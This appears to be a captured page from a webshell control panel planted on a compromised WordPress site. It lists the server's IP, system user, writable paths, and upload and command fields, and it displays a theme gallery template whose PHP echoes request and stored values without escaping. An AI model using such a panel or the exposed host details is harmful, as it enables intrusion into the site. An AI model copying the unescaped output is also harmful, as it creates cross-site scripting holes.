403Webshell
Server IP : 194.30.32.123  /  Your IP : 216.73.216.89
Web Server : Apache
System : Linux 4f6650a08421 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : ftpbegirale ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /expert/htwebs/www.begirale.com/public/wp-content/themes/perspective-theme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /expert/htwebs/www.begirale.com/public/wp-content/themes/perspective-theme//page_gallery.php
<?php
	global $node,$counter_node;
 	$count_post =0;
	cs_enqueue_gallery_style_script();
	$gal_album_db = $node->album;
	// galery slug to id start
		$args=array(
			'name' => $gal_album_db,
			'post_type' => 'cs_gallery',
			'post_status' => 'publish',
			'showposts' => 1,
		);
 		$get_posts = get_posts($args);
		if($get_posts){
			$gal_album_db = $get_posts[0]->ID;
		}
	// galery slug to id end
	$cs_meta_gallery_options = get_post_meta($gal_album_db, "cs_meta_gallery_options", true);
	if ( empty($_GET['page_id_all']) ) $_GET['page_id_all'] = 1;
	// pagination start
	if ( $cs_meta_gallery_options <> "" ) {
		$xmlObject = new SimpleXMLElement($cs_meta_gallery_options);
		if ( $node->pagination == "Show Pagination" and $node->media_per_page > 0 ) {
			$limit_start = $node->media_per_page * ($_GET['page_id_all']-1);
			$limit_end = $limit_start + $node->media_per_page;
			$count_post = count($xmlObject);
				if ( $limit_end > count($xmlObject) ) $limit_end = count($xmlObject);
		}
		else {
			$limit_start = 0;
			$limit_end = count($xmlObject);
			$count_post = count($xmlObject);
		}
	}
 	if ($node->pagination== "Single Page") $limit_end = $node->media_per_page;
	?>
	<div class="element_size_<?php echo $node->gallery_element_size; ?>">
    	<?php if ($node->header_title <>  '' ) { ?>
    		<header class="heading">
        		<h2 class="section-title heading-color cs-heading-color"><?php echo $node->header_title; ?></h2>
        	</header>
   	 	<?php  } ?>
        		<?php
			if($node->layout == 'gallery-masonry'){ 
			 	cs_enqueue_masonry_style_script();
			?>
 			  <script type="text/javascript">
              		jQuery(document).ready(function(){ 
 						var container = jQuery('#container<?php echo $counter_node; ?>, .blog #container<?php echo $counter_node;?>');
						jQuery(container).isotope({
						columnWidth: 10,
						itemSelector: '.box'
 					});
 					jQuery(window).load(function(){
						jQuery(container).isotope();
					});
				});
               </script>
			  <div class="gallerysec gallery mas-con" id="container<?php echo $counter_node; ?>">
             	<ul  class="<?php echo $node->layout; ?> lightbox clearfix">
				<?php
     				if ( $cs_meta_gallery_options <> "" ) {
						for ( $i = $limit_start; $i < $limit_end; $i++ ) {
						$path = $xmlObject->gallery[$i]->path;
						$title = $xmlObject->gallery[$i]->title;
						$description = $xmlObject->gallery[$i]->description;
						$social_network = $xmlObject->gallery[$i]->social_network;
						$use_image_as = $xmlObject->gallery[$i]->use_image_as;
						$video_code = $xmlObject->gallery[$i]->video_code;
						$link_url = $xmlObject->gallery[$i]->link_url;
						$image_url = cs_attachment_image_src($path, 585, 440);
						$image_url_full = cs_attachment_image_src($path, 0, 0);
						?>
						<li class="box photo">
                        	<!-- Gallery Listing Item Start -->
                            <div class="ms-box">
								<a class="link" data-title="<?php if ( $node->desc == "On" ) { echo $description;}?>"  href="<?php if($use_image_as==1)echo $video_code; elseif($use_image_as==2) echo $link_url; else echo $image_url_full;?>" target="<?php if($use_image_as==2) echo '_blank'; ?>" data-rel="<?php if($use_image_as==1)echo "prettyPhoto";  elseif($use_image_as==2) echo ""; else echo "prettyPhoto[gallery1]"?>">
                            		<figure>
									<?php echo "<img src='".$image_url_full."' data-alt='".$title."' alt='' />"; ?>
                                    <figcaption>
                                        <div class="fig_text">
											<?php 
												if($use_image_as==1){
													echo '<i class="icon-play-sign icon-2"></i>';
												}elseif($use_image_as==2){
													echo '<i class="icon-link icon-2"></i>';	
												}else{
													echo '<i class="icon-picture icon-2"></i>';
												}
                                                if($title <> ''){
                                                    echo "<h6>".$title."</h6>";
                                                }
                                                if ( $node->desc == "On" ){
                                                   echo "<p>".substr($description, 0, 50); if ( strlen($description) > 50 ) echo " ...</p>";
                                                }
                                            ?>
                                        </div>
                                    </figcaption>
                                	</figure>
                               </a>
                                <span class="active_bg"></span>
                            	
							</div>
                        </li>
						<?php
					}
				}
			?>
            </ul>
            </div>
            <?php
		 
			}else{
			?>
			<div class="gallerysec gallery">
	            <ul class="<?php echo $node->layout; ?> lightbox clearfix">
            <?php
            if ( $cs_meta_gallery_options <> "" ) {
                for ( $i = $limit_start; $i < $limit_end; $i++ ) {
                    $path = $xmlObject->gallery[$i]->path;
                    $title = $xmlObject->gallery[$i]->title;
                    $description = $xmlObject->gallery[$i]->description;
                    $social_network = $xmlObject->gallery[$i]->social_network;
                    $use_image_as = $xmlObject->gallery[$i]->use_image_as;
                    $video_code = $xmlObject->gallery[$i]->video_code;
                    $link_url = $xmlObject->gallery[$i]->link_url;
 					$image_url = cs_attachment_image_src($path, 585, 440);
                    $image_url_full = cs_attachment_image_src($path, 0, 0);
 					?>
                    <li>
						<a class="link" data-title="<?php if ( $node->desc == "On" ) { echo $description; }?>"  href="<?php if($use_image_as==1)echo $video_code; elseif($use_image_as==2) echo $link_url; else echo $image_url_full;?>" target="<?php if($use_image_as==2) echo '_blank'; ?>" data-rel="<?php if($use_image_as==1)echo "prettyPhoto";  elseif($use_image_as==2) echo ""; else echo "prettyPhoto[gallery1]"?>">							  
                      	<figure>
                            <?php echo "<img src='".$image_url."' data-alt='".$title."' alt='' />";  ?>
                            <figcaption class="webkit">
                            	<div class="fig_text">
                                	<?php 
										if($use_image_as==1){
											echo '<i class="icon-play-sign icon-2"></i>';
										}elseif($use_image_as==2){
											echo '<i class="icon-link icon-2"></i>';	
										}else{
											echo '<i class="icon-picture icon-2"></i>';
										}
 										if($title <> ''){
											echo "<h6>".$title."</h6>";
										}
										if ( $node->desc == "On" ){
											 echo "<p>".substr($description, 0, 75); if ( strlen($description) > 75 ) echo " ...</p>";
										}
									?>
                                </div>
                            </figcaption>
                        	</figure>
                        </a>
						<span class="active_bg"></span>
                    </li>
                    <?php
                }
            } 
            ?>
            </ul>
             </div>
            <?php } ?>
         
		<?php
         	// pagination start
       		$qrystr = '';
             if ( $node->pagination == "Show Pagination" and $count_post > $node->media_per_page and $node->media_per_page > 0 ) {
                echo "<nav class='pagination'><ul>";
                    $qrystr = '';
                    if ( isset($_GET['page_id']) ) $qrystr = "&page_id=".$_GET['page_id'];						
                echo cs_pagination( $count_post, $node->media_per_page,$qrystr );
                echo "</ul></nav>";
            }
         	// pagination end
    	?>
 </div>
 <div class="clear"></div>

Youez - 2016 - github.com/yon3zu
LinuXploit